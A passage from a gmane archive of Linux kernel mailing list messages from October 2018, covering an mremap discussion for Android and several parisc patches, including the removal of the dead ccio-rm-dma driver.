 VD45JTk8JnMxNtyWx6K0MK4qMgybOgTZjGyaxe/p5OxpOUdkZ4z2uEdhFTZefjqojLsbOyAMYkfPb
 l/9XD5bQ==;
Original-Received: from mx2.suse.de ([195.135.220.15] helo=mx1.suse.de)
 by merlin.infradead.org with esmtps (Exim 4.90_1 #2 (Red Hat Linux))
 id 1gCgSI-0007SF-2C; Wed, 17 Oct 2018 07:41:22 +0000
X-Virus-Scanned: by amavisd-new at test-mx.suse.de
Original-Received: from relay2.suse.de (unknown [195.135.220.254])
 by mx1.suse.de (Postfix) with ESMTP id 454F9AFD0;
 Wed, 17 Oct 2018 07:41:06 +0000 (UTC)
Openpgp: preference=signencrypt
Autocrypt: addr=vbabka@suse.cz; prefer-encrypt=mutual; keydata=
 xsFNBFZdmxYBEADsw/SiUSjB0dM+vSh95UkgcHjzEVBlby/Fg+g42O7LAEkCYXi/vvq31JTB
 KxRWDHX0R2tgpFDXHnzZcQywawu8eSq0LxzxFNYMvtB7sV1pxYwej2qx9B75qW2plBs+7+YB
 87tMFA+u+L4Z5xAzIimfLD5EKC56kJ1CsXlM8S/LHcmdD9Ctkn3trYDNnat0eoAcfPIP2OZ+
 9oe9IF/R28zmh0ifLXyJQQz5ofdj4bPf8ecEW0rhcqHfTD8k4yK0xxt3xW+6Exqp9n9bydiy
 tcSAw/TahjW6yrA+6JhSBv1v2tIm+itQc073zjSX8OFL51qQVzRFr7H2UQG33lw2QrvHRXqD
 Ot7ViKam7v0Ho9wEWiQOOZlHItOOXFphWb2yq3nzrKe45oWoSgkxKb97MVsQ+q2SYjJRBBH4
 8qKhphADYxkIP6yut/eaj9ImvRUZZRi0DTc8xfnvHGTjKbJzC2xpFcY0DQbZzuwsIZ8OPJCc
 LM4S7mT25NE5kUTG/TKQCk922vRdGVMoLA7dIQrgXnRXtyT61sg8PG4wcfOnuWf8577aXP1x
 6mzw3/jh3F+oSBHb/GcLC7mvWreJifUL2gEdssGfXhGWBo6zLS3qhgtwjay0Jl+kza1lo+Cv
 BB2T79D4WGdDuVa4eOrQ02TxqGN7G0Biz5ZLRSFzQSQwLn8fbwARAQABzSFWbGFzdGltaWwg
 QmFia2EgPHZiYWJrYUBzdXNlLmNvbT7CwZcEEwEKAEECGwMFCwkIBwMFFQoJCAsFFgIDAQAC
 HgECF4ACGQEWIQSpQNQ0m 
In-Reply-To: <20181016194313.GA247930@joelaf.mtv.corp.google.com>
Content-Language: en-US
X-CRM114-Version: 20100106-BlameMichelson ( TRE 0.8.0 (BSD) ) MR-646709E3 
X-CRM114-CacheID: sfid-20181017_034122_316356_02643F24 
X-CRM114-Status: GOOD (  23.07  )
X-Spam-Score: -2.3 (--)
X-Spam-Report: SpamAssassin version 3.4.2 on merlin.infradead.org summary:
 Content analysis details:   (-2.3 points)
 pts rule name              description
 ---- ---------------------- --------------------------------------------------
 -2.3 RCVD_IN_DNSWL_MED      RBL: Sender listed at http://www.dnswl.org/,
 medium trust [195.135.220.15 listed in list.dnswl.org]
 -0.0 SPF_PASS               SPF: sender matches SPF record
X-BeenThere: linux-riscv@lists.infradead.org
X-Mailman-Version: 2.1.21
Precedence: list
List-Id: <linux-riscv.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-riscv>,
 <mailto:linux-riscv-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-riscv/>
List-Post: <mailto:linux-riscv@lists.infradead.org>
List-Help: <mailto:linux-riscv-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-riscv>,
 <mailto:linux-riscv-request@lists.infradead.org?subject=subscribe>
Original-Sender: "linux-riscv" <linux-riscv-bounces@lists.infradead.org>
Errors-To: linux-riscv-bounces+glpr-linux-riscv=m.gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.ports.riscv:1132 gmane.linux.ports.mips.general:67124 gmane.linux.ports.ia64:29416 gmane.linux.ports.sh.devel:57670 gmane.linux.kernel.mm:205473 gmane.linux.ports.sparc:28599 gmane.comp.emulators.kvm.arm.devel:19503 gmane.linux.ports.hexagon:1936 gmane.linux.kernel.arc:4569 gmane.linux.ports.alpha:5342 gmane.linux.ports.parisc:29207 gmane.linux.kernel:2901764 gmane.linux.ports.ppc64.devel:164549
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.riscv/1132>

On 10/16/18 9:43 PM, Joel Fernandes wrote:
> On Tue, Oct 16, 2018 at 01:29:52PM +0200, Vlastimil Babka wrote:
>> On 10/16/18 12:33 AM, Joel Fernandes wrote:
>>> On Mon, Oct 15, 2018 at 02:42:09AM -0700, Christoph Hellwig wrote:
>>>> On Fri, Oct 12, 2018 at 06:31:58PM -0700, Joel Fernandes (Google) wrote:
>>>>> Android needs to mremap large regions of memory during memory management
>>>>> related operations.
>>>>
>>>> Just curious: why?
>>>
>>> In Android we have a requirement of moving a large (up to a GB now, but may
>>> grow bigger in future) memory range from one location to another.
>>
>> I think Christoph's "why?" was about the requirement, not why it hurts
>> applications. I admit I'm now also curious :)
> 
> This issue was discovered when we wanted to be able to move the physical
> pages of a memory range to another location quickly so that, after the
> application threads are resumed, UFFDIO_REGISTER_MODE_MISSING userfaultfd
> faults can be received on the original memory range. The actual operations
> performed on the memory range are beyond the scope of this discussion. The
> user threads continue to refer to the old address which will now fault. The
> reason we want retain the old memory range and receives faults there is to
> avoid the need to fix the addresses all over the address space of the threads
> after we finish with performing operations on them in the fault handlers, so
> we mremap it and receive faults at the old addresses.
> 
> Does that answer your question?

Yes, interesting, thanks!

Vlastimil

> thanks,
> 
> - Joel
> 

From - Thu Nov 08 21:42:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: Re: [GIT PULL] parisc fix for kernel v4.19
Date: Wed, 17 Oct 2018 14:01:48 +0200
Lines: 15
Approved: news@gmane.org
Message-ID: <20181017120148.GA692@kroah.com>
References: <20181017064524.GA32311@ls3530.fritz.box>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1539777587 16223 195.159.176.226 (17 Oct 2018 11:59:47 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 17 Oct 2018 11:59:47 +0000 (UTC)
User-Agent: Mutt/1.10.1 (2018-07-13)
Cc: linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-kernel-owner@vger.kernel.org Wed Oct 17 13:59:43 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1gCkUI-00047l-OZ
	for glk-linux-kernel-4@m.gmane.org; Wed, 17 Oct 2018 13:59:43 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1727274AbeJQT5O (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Wed, 17 Oct 2018 15:57:14 -0400
Original-Received: from mail.kernel.org ([198.145.29.99]:41082 "EHLO mail.kernel.org"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1727013AbeJQT5O (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
        Wed, 17 Oct 2018 15:57:14 -0400
Original-Received: from localhost (ip-213-127-77-176.ip.prioritytelecom.net [213.127.77.176])
        (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits))
        (No client certificate requested)
        by mail.kernel.org (Postfix) with ESMTPSA id 9D3E32150D;
        Wed, 17 Oct 2018 12:01:50 +0000 (UTC)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/simple; d=kernel.org;
        s=default; t=1539777711;
        bh=dUqgWNcNrJ18NZjJSwEq/+G2UH2uh8dGycWTMQgeUIc=;
        h=Date:From:To:Cc:Subject:References:In-Reply-To:From;
        b=qWgaAZerO9+oMBCs72OiS0bcrpwET6YMCIQ4Rwz275jFSZqqrO0H0erxs2R0mhukh
         3F0h+l02OT2AE8SIhNfaMq4E9AeGHhWzq9cbpNusonfuYLisFkLYmGFPvLWx/Tioar
         VqKQ/V4MEn29sHvxUQGMd8yzUyL08KZF94UUkVYc=
Content-Disposition: inline
In-Reply-To: <20181017064524.GA32311@ls3530.fritz.box>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2901978 gmane.linux.ports.parisc:29208
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2901978>

On Wed, Oct 17, 2018 at 08:45:24AM +0200, Helge Deller wrote:
> Hi Greg,
> 
> would you please include the trivial patch below for 4.19?
> My older cross-compiler didn't complained, so it went unnoticed for me until
> now and the faulty code was added during the 4.19 merge window.
> 
> It can be pulled from my git tree as well:
> 
>   git://git.kernel.org/pub/scm/linux/kernel/git/deller/parisc-linux.git parisc-4.19-3

Now merged, thanks.

greg k-h


From - Thu Nov 08 21:42:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.kernel.year-2038,gmane.linux.kernel.cross-arch
Subject: Re: [PATCH v5 1/5] parisc: move __IGNORE* entries to non uapi header
Date: Thu, 18 Oct 2018 20:34:27 +0200
Lines: 67
Approved: news@gmane.org
Message-ID: <3571b003-d603-9ec5-01e3-12dbbca692b1@gmx.de>
References: <1539673418-7279-1-git-send-email-firoz.khan@linaro.org>
 <1539673418-7279-2-git-send-email-firoz.khan@linaro.org>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1539887554 24503 195.159.176.226 (18 Oct 2018 18:32:34 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 18 Oct 2018 18:32:34 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101
 Thunderbird/52.5.2
Cc: y2038@lists.linaro.org, linux-kernel@vger.kernel.org,
        linux-arch@vger.kernel.org, arnd@arndb.de, deepa.kernel@gmail.com,
        marcin.juszkiewicz@linaro.org
To: Firoz Khan <firoz.khan@linaro.org>, linux-parisc@vger.kernel.org,
        "James E . J . Bottomley" <jejb@parisc-linux.org>,
        Thomas Gleixner <tglx@linutronix.de>,
        Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
        Philippe Ombredanne <pombredanne@nexb.com>,
        Kate Stewart <kstewart@linuxfoundation.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Thu Oct 18 20:32:29 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1gDD5w-0006Gg-CB
	for glk-linux-kernel-4@m.gmane.org; Thu, 18 Oct 2018 20:32:28 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1728755AbeJSCgx (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Thu, 18 Oct 2018 22:36:53 -0400
Original-Received: from mout.gmx.net ([212.227.15.15]:39299 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1728570AbeJSCgx (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
        Thu, 18 Oct 2018 22:36:53 -0400
Original-Received: from [192.168.20.60] ([92.116.176.154]) by mail.gmx.com (mrgmx003
 [212.227.17.190]) with ESMTPSA (Nemesis) id 0MSutp-1g5l0z1slp-00RsAT; Thu, 18
 Oct 2018 20:34:28 +0200
Original-Received: from [192.168.20.60] ([92.116.176.154]) by mail.gmx.com (mrgmx003
 [212.227.17.190]) with ESMTPSA (Nemesis) id 0MSutp-1g5l0z1slp-00RsAT; Thu, 18
 Oct 2018 20:34:28 +0200
Openpgp: preference=signencrypt
Autocrypt: addr=deller@gmx.de; prefer-encrypt=mutual; keydata=
 xsBNBFDPIPYBCAC6PdtagIE06GASPWQJtfXiIzvpBaaNbAGgmd3Iv7x+3g039EV7/zJ1do/a
 y9jNEDn29j0/jyd0A9zMzWEmNO4JRwkMd5Z0h6APvlm2D8XhI94r/8stwroXOQ8yBpBcP0yX
 +sqRm2UXgoYWL0KEGbL4XwzpDCCapt+kmarND12oFj30M1xhTjuFe0hkhyNHkLe8g6MC0xNg
 KW3x7B74Rk829TTAtj03KP7oA+dqsp5hPlt/hZO0Lr0kSAxf3kxtaNA7+Z0LLiBqZ1nUerBh
 OdiCasCF82vQ4/y8rUaKotXqdhGwD76YZry9AQ9p6ccqKaYEzWis078Wsj7p0UtHoYDbABEB
 AAHNHEhlbGdlIERlbGxlciA8ZGVsbGVyQGdteC5kZT7CwJIEEwECADwCGwMGCwkIBwMCBhUI
 AgkKCwQWAgMBAh4BAheAFiEE9M/0wAvkPPtRU6Boh8nBUbUeOGQFAlrHzIICGQEACgkQh8nB
 UbUeOGT1GAgAt+EeoHB4DbAx+pZoGbBYp6ZY8L6211n8fSi7wiwgM5VppucJ+C+wILoPkqiU
 +ZHKlcWRbttER2oBUvKOt0+yDfAGcoZwHS0P+iO3HtxR81h3bosOCwek+TofDXl+TH/WSQJa
 iaitof6iiPZLygzUmmW+aLSSeIAHBunpBetRpFiep1e5zujCglKagsW78Pq0DnzbWugGe26A
 288JcK2W939bT1lZc22D9NhXXRHfX2QdDdrCQY7UsI6g/dAm1d2ldeFlGleqPMdaaQMcv5+E
 vDOur20qjTlenjnR/TFm9t 
In-Reply-To: <1539673418-7279-2-git-send-email-firoz.khan@linaro.org>
Content-Language: en-US
X-Provags-ID: V03:K1:INq853TMMxRjp3nBtE5vgG2j1RBDCLXzNMPWa6Mn4tr8JgvENUB
 AmFxOyUzDArdEgkD+WYYOcNLZzTLL7kuKdsr4XBJpZIMS9WxWfiHna201spIb/aFPhXNSlP
 vwVPqYZxvTSRCJbpCUfoYBrMr/eu3E0AXXmy5bbrMOtostX+74Bx3BopXYL8kMKtp5v7C/9
 /mr7v4Njsf50upBjK8vag==
X-UI-Out-Filterresults: notjunk:1;V01:K0:4ffzZ1gxS+0=:zNcVkLjEqS+pIMbqzl+HhW
 ILxLuIUKOL+qtDwfcBesDi+I4TBsltsAfrwFeD/710Hx7Olvp/6EpdX6ChrmT8VZMi4t3r6lR
 5SZhT7TAT+xaZjBgzPZiTRYR39gdjnn3T++IDAn3wsqksW9lIgervlclTy8t//BuG2zc9j9uT
 k8CO5iN/wbnRLGGi+15DT4ibFQhF8chTkgzSdGH2urLgWbFUWJeo4BMwQ/rQAbgc1hR0KCNR5
 wq9ZQjLJuGDIierHL+UL/L/TQ4sr9lPDMU4ZtSGdeyVEKpBZZFl1Nhq2uXWcpYW8NCO71HX8m
 gU3RcgCdeiXxHeChH0hHHBAwxncm/NCNUolOQ1dmgV+b/KdlA1ncZIni6Qf1PsM7h2YojXD7n
 1OzaVowQQTH3a4A+M/Q7lUIgMk7sW1uAdtIrIqL0PSQItKjegrY1Hdr8onW6vQxYkbWOERr5R
 qMi6MsCBWj4g2NEr22/ZciKxjGsURG/4h1M3N9xXO3JN+5L4HIPz/mF9PY+uIqQtzi4NDeSGx
 RhacU31MWpt9wNMl1LrMerJAc2krNVKv+9b5NjtHJ2n2kvuTZFg5Hjx5U88/PXTVskULPRHm7
 vnV/H/c48oFR89g5+aVw4lnHRNQe3pKzVC+ApEATT9CsycrCykkGg9XgO0ttci/gL5VAPI5MI
 knjEvQjPjr32AVM95fk7v7xjmUYLgJT2XkTSKSn4hEGgYnWdFWe2jfFY16notDgpt7yicdgT/
 WOSVFcFweJtDLBZ0bPYo9+ckgQSP/7gANI3zHd1WJOARmRdbM1nI/gsUYc1pkeRdnGQkneXD 
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2903572 gmane.linux.ports.parisc:29209 gmane.linux.kernel.year-2038:3536 gmane.linux.kernel.cross-arch:47948
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2903572>

On 16.10.2018 09:03, Firoz Khan wrote:
> All the __IGNORE* entries are resides in the uapi header
> file move to non uapi header asm/unistd.h as it is not
> used by any user space applications.
> 
> It is correct to keep __IGNORE* entry in non uapi header
> asm/unistd.h while uapi/asm/unistd.h must hold information
> only useful for user space applications.
> 
> One of the patch in this patch series will generate uapi
> header file. The information which directly used by the
> user space application must be present in uapi file.
> 
> Signed-off-by: Firoz Khan <firoz.khan@linaro.org>

You may add an 
Acked-by: Helge Deller <deller@gmx.de>

I've tested it by sucessfully booting a 32bit kernel.

Thanks!
Helge


> ---
>  arch/parisc/include/asm/unistd.h      | 6 ++++++
>  arch/parisc/include/uapi/asm/unistd.h | 7 -------
>  2 files changed, 6 insertions(+), 7 deletions(-)
> 
> diff --git a/arch/parisc/include/asm/unistd.h b/arch/parisc/include/asm/unistd.h
> index 3d507d0..93fd9f6 100644
> --- a/arch/parisc/include/asm/unistd.h
> +++ b/arch/parisc/include/asm/unistd.h
> @@ -8,6 +8,12 @@
>  
>  #define SYS_ify(syscall_name)   __NR_##syscall_name
>  
> +#define __IGNORE_select                /* newselect */
> +#define __IGNORE_fadvise64             /* fadvise64_64 */
> +#define __IGNORE_pkey_mprotect
> +#define __IGNORE_pkey_alloc
> +#define __IGNORE_pkey_free
> +
>  #ifndef ASM_LINE_SEP
>  # define ASM_LINE_SEP ;
>  #endif
> diff --git a/arch/parisc/include/uapi/asm/unistd.h b/arch/parisc/include/uapi/asm/unistd.h
> index dc77c5a..bb52e12 100644
> --- a/arch/parisc/include/uapi/asm/unistd.h
> +++ b/arch/parisc/include/uapi/asm/unistd.h
> @@ -368,13 +368,6 @@
>  
>  #define __NR_Linux_syscalls	(__NR_io_pgetevents + 1)
>  
> -
> -#define __IGNORE_select		/* newselect */
> -#define __IGNORE_fadvise64	/* fadvise64_64 */
> -#define __IGNORE_pkey_mprotect
> -#define __IGNORE_pkey_alloc
> -#define __IGNORE_pkey_free
> -
>  #define LINUX_GATEWAY_ADDR      0x100
>  
>  #endif /* _UAPI_ASM_PARISC_UNISTD_H_ */
> 



From - Thu Nov 08 21:42:19 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Christoph Hellwig <hch@lst.de>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: [PATCH] parisc: remove the dead ccio-rm-dma driver
Date: Mon, 22 Oct 2018 10:52:51 +0100
Lines: 236
Approved: news@gmane.org
Message-ID: <20181022095251.5699-1-hch@lst.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Transfer-Encoding: 8bit
X-Trace: blaine.gmane.org 1540201852 21323 195.159.176.226 (22 Oct 2018 09:50:52 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 22 Oct 2018 09:50:52 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org, linux-kernel@vger.kernel.org
To: jejb@parisc-linux.org, deller@gmx.de
Original-X-From: linux-kernel-owner@vger.kernel.org Mon Oct 22 11:50:48 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1gEWrH-0004bE-H5
	for glk-linux-kernel-4@m.gmane.org; Mon, 22 Oct 2018 11:50:47 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1728546AbeJVSKq (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Mon, 22 Oct 2018 14:10:46 -0400
Original-Received: from bombadil.infradead.org ([198.137.202.133]:47810 "EHLO
        bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1728363AbeJVSKp (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Mon, 22 Oct 2018 14:10:45 -0400
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
        d=infradead.org; s=bombadil.20170209; h=Content-Transfer-Encoding:
        MIME-Version:Message-Id:Date:Subject:Cc:To:From:Sender:Reply-To:Content-Type:
        Content-ID:Content-Description:Resent-Date:Resent-From:Resent-Sender:
        Resent-To:Resent-Cc:Resent-Message-ID:In-Reply-To:References:List-Id:
        List-Help:List-Unsubscribe:List-Subscribe:List-Post:List-Owner:List-Archive;
         bh=o+fx/IzrVv4/MSnow+vLZxgAkW8RHCt/H6nshqKLA+o=; b=Z3qpYtogj0gTp5u2hCCEwWgsG
        vClsWhFXC04fr2cwckUenSAyT4u2ArSylgJyYhbqBJqralZYglnWMXUa2NjlVsR6VlIK/9FeGvt/B
        DG3EpaF7XhLARV03gwDBN6NTxT/rYbTHYYzH2pNcLe6Y2FWYo/znYmbtjUD6a68SnOagu2KFpAgF2
        w5rbgY78RGAK5u8J+FN8qvxAy4dCZvghpKtg4AcaDiJJYsqu35m3MuWqrmvYX/MEv0XsLTLHFB4Im
        qyIUcgz2iRXMizYDfxR+tPjIEjc+UztdfSvpc9rJcK6fWPGngHXBAf07PDuLmWOxwfeelrS5Adhrd
    
Original-Received: from [109.144.218.6] (helo=localhost)
        by bombadil.infradead.org with esmtpsa (Exim 4.90_1 #2 (Red Hat Linux))
        id 1gEWtJ-0006DD-LW; Mon, 22 Oct 2018 09:52:54 +0000
X-Mailer: git-send-email 2.19.1
X-SRS-Rewrite: SMTP reverse-path rewritten from <hch@infradead.org> by bombadil.infradead.org. See http://www.infradead.org/rpr.html
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2905239 gmane.linux.ports.parisc:29210
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2905239>

This driver has never been wired up due to the life of the Linux
git tree, and has severely bitrotted.

Signed-off-by: Christoph Hellwig <hch@lst.de>
---
 drivers/parisc/Makefile      |   3 -
 drivers/parisc/ccio-rm-dma.c | 202 -----------------------------------
 2 files changed, 205 deletions(-)
 delete mode 100644 drivers/parisc/ccio-rm-dma.c

diff --git a/drivers/parisc/Makefile b/drivers/parisc/Makefile
index 3cd5e6cb8478..99fa6a89e0b9 100644
--- a/drivers/parisc/Makefile
+++ b/drivers/parisc/Makefile
@@ -8,9 +8,6 @@
 obj-$(CONFIG_IOSAPIC)		+= iosapic.o
 obj-$(CONFIG_IOMMU_SBA)		+= sba_iommu.o
 obj-$(CONFIG_PCI_LBA)		+= lba_pci.o
-
-# Only use one of them: ccio-rm-dma is for PCX-W systems *only*
-# obj-$(CONFIG_IOMMU_CCIO)	+= ccio-rm-dma.o
 obj-$(CONFIG_IOMMU_CCIO)	+= ccio-dma.o
 
 obj-$(CONFIG_GSC)		+= gsc.o
diff --git a/drivers/parisc/ccio-rm-dma.c b/drivers/parisc/ccio-rm-dma.c
deleted file mode 100644
index df7932af48b7..000000000000
--- a/drivers/parisc/ccio-rm-dma.c
+++ /dev/null
@@ -1,202 +0,0 @@
-/*
- * ccio-rm-dma.c:
- *	DMA management routines for first generation cache-coherent machines.
- *	"Real Mode" operation refers to U2/Uturn chip operation. The chip
- *      can perform coherency checks w/o using the I/O MMU. That's all we
- *      need until support for more than 4GB phys mem is needed.
- * 
- *	This is the trivial case - basically what x86 does.
- *
- *	Drawbacks of using Real Mode are:
- *	o outbound DMA is slower since one isn't using the prefetching
- *	  U2 can do for outbound DMA.
- *	o Ability to do scatter/gather in HW is also lost.
- *      o only known to work with PCX-W processor. (eg C360)
- *        (PCX-U/U+ are not coherent with U2 in real mode.)
- *
- *
- * This program is free software; you can redistribute it and/or modify
- * it under the terms of the GNU General Public License as published by
- * the Free Software Foundation; either version 2 of the License, or
- * (at your option) any later version.
- *
- *
- * Original version/author:
- *      CVSROOT=:pserver:anonymous@198.186.203.37:/cvsroot/linux-parisc
- *      cvs -z3 co linux/arch/parisc/kernel/dma-rm.c
- *
- *	(C) Copyright 2000 Philipp Rumpf <prumpf@tux.org>
- *
- *
- * Adopted for The Puffin Group's parisc-linux port by Grant Grundler.
- *	(C) Copyright 2000 Grant Grundler <grundler@puffin.external.hp.com>
- *	
- */
-
-#include <linux/types.h>
-#include <linux/init.h>
-#include <linux/mm.h>
-#include <linux/string.h>
-#include <linux/pci.h>
-#include <linux/gfp.h>
-
-#include <linux/uaccess.h>
-
-#include <asm/io.h>
-#include <asm/hardware.h>
-#include <asm/page.h>
-
-/* Only chose "ccio" since that's what HP-UX calls it....
-** Make it easier for folks to migrate from one to the other :^)
-*/
-#define MODULE_NAME "ccio"
-
-#define U2_IOA_RUNWAY 0x580
-#define U2_BC_GSC     0x501
-#define UTURN_IOA_RUNWAY 0x581
-#define UTURN_BC_GSC     0x502
-
-#define IS_U2(id) ( \
-    (((id)->hw_type == HPHW_IOA) && ((id)->hversion == U2_IOA_RUNWAY)) || \
-    (((id)->hw_type == HPHW_BCPORT) && ((id)->hversion == U2_BC_GSC))  \
-)
-
-#define IS_UTURN(id) ( \
-    (((id)->hw_type == HPHW_IOA) && ((id)->hversion == UTURN_IOA_RUNWAY)) || \
-    (((id)->hw_type == HPHW_BCPORT) && ((id)->hversion == UTURN_BC_GSC))  \
-)
-
-static int ccio_dma_supported( struct pci_dev *dev, u64 mask)
-{
-	if (dev == NULL) {
-		printk(KERN_ERR MODULE_NAME ": EISA/ISA/et al not supported\n");
-		BUG();
-		return(0);
-	}
-
-	/* only support 32-bit devices (ie PCI/GSC) */
-	return((int) (mask >= 0xffffffffUL));
-}
-
-
-static void *ccio_alloc_consistent(struct pci_dev *dev, size_t size,
-				 dma_addr_t *handle)
-{
-	void *ret;
-	
-	ret = (void *)__get_free_pages(GFP_ATOMIC, get_order(size));
-
-	if (ret != NULL) {
-		memset(ret, 0, size);
-		*handle = virt_to_phys(ret);
-	}
-	return ret;
-}
-	
-static void ccio_free_consistent(struct pci_dev *dev, size_t size,
-			       void *vaddr, dma_addr_t handle)
-{
-	free_pages((unsigned long)vaddr, get_order(size));
-}
-
-static dma_addr_t ccio_map_single(struct pci_dev *dev, void *ptr, size_t size,
-			  int direction)
-{
-	return virt_to_phys(ptr);
-}
-
-static void ccio_unmap_single(struct pci_dev *dev, dma_addr_t dma_addr,
-			    size_t size, int direction)
-{
-	/* Nothing to do */
-}
-
-
-static int ccio_map_sg(struct pci_dev *dev, struct scatterlist *sglist, int nents, int direction)
-{
-	int tmp = nents;
-
-        /* KISS: map each buffer separately. */
-	while (nents) {
-		sg_dma_address(sglist) = ccio_map_single(dev, sglist->address, sglist->length, direction);
-		sg_dma_len(sglist) = sglist->length;
-		nents--;
-		sglist++;
-	}
-
-	return tmp;
-}
-
-
-static void ccio_unmap_sg(struct pci_dev *dev, struct scatterlist *sglist, int nents, int direction)
-{
-#if 0
-	while (nents) {
-		ccio_unmap_single(dev, sg_dma_address(sglist), sg_dma_len(sglist), direction);
-		nents--;
-		sglist++;
-	}
-	return;
-#else
-	/* Do nothing (copied from current ccio_unmap_single()  :^) */
-#endif
-}
-
-
-static struct pci_dma_ops ccio_ops = {
-	ccio_dma_supported,
-	ccio_alloc_consistent,
-	ccio_free_consistent,
-	ccio_map_single,
-	ccio_unmap_single,
-	ccio_map_sg,
-	ccio_unmap_sg,
-	NULL,                   /* dma_sync_single_for_cpu : NOP for U2 */
-	NULL,                   /* dma_sync_single_for_device : NOP for U2 */
-	NULL,                   /* dma_sync_sg_for_cpu     : ditto */
-	NULL,                   /* dma_sync_sg_for_device     : ditto */
-};
-
-
-/*
-** Determine if u2 should claim this chip (return 0) or not (return 1).
-** If so, initialize the chip and tell other partners in crime they
-** have work to do.
-*/
-static int __init
-ccio_probe(struct parisc_device *dev)
-{
-	printk(KERN_INFO "%s found %s at 0x%lx\n", MODULE_NAME,
-			dev->id.hversion == U2_BC_GSC ? "U2" : "UTurn",
-			dev->hpa.start);
-
-/*
-** FIXME - should check U2 registers to verify it's really running
-** in "Real Mode".
-*/
-
-#if 0
-/* will need this for "Virtual Mode" operation */
-	ccio_hw_init(ccio_dev);
-	ccio_common_init(ccio_dev);
-#endif
-	hppa_dma_ops = &ccio_ops;
-	return 0;
-}
-
-static const struct parisc_device_id ccio_tbl[] __initconst = {
-	{ HPHW_BCPORT, HVERSION_REV_ANY_ID, U2_BC_GSC, 0xc },
-	{ HPHW_BCPORT, HVERSION_REV_ANY_ID, UTURN_BC_GSC, 0xc },
-	{ 0, }
-};
-
-static struct parisc_driver ccio_driver __refdata = {
-	.name =		"U2/Uturn",
-	.id_table =	ccio_tbl,
-	.probe =	ccio_probe,
-};
-
-void __init ccio_init(void)
-{
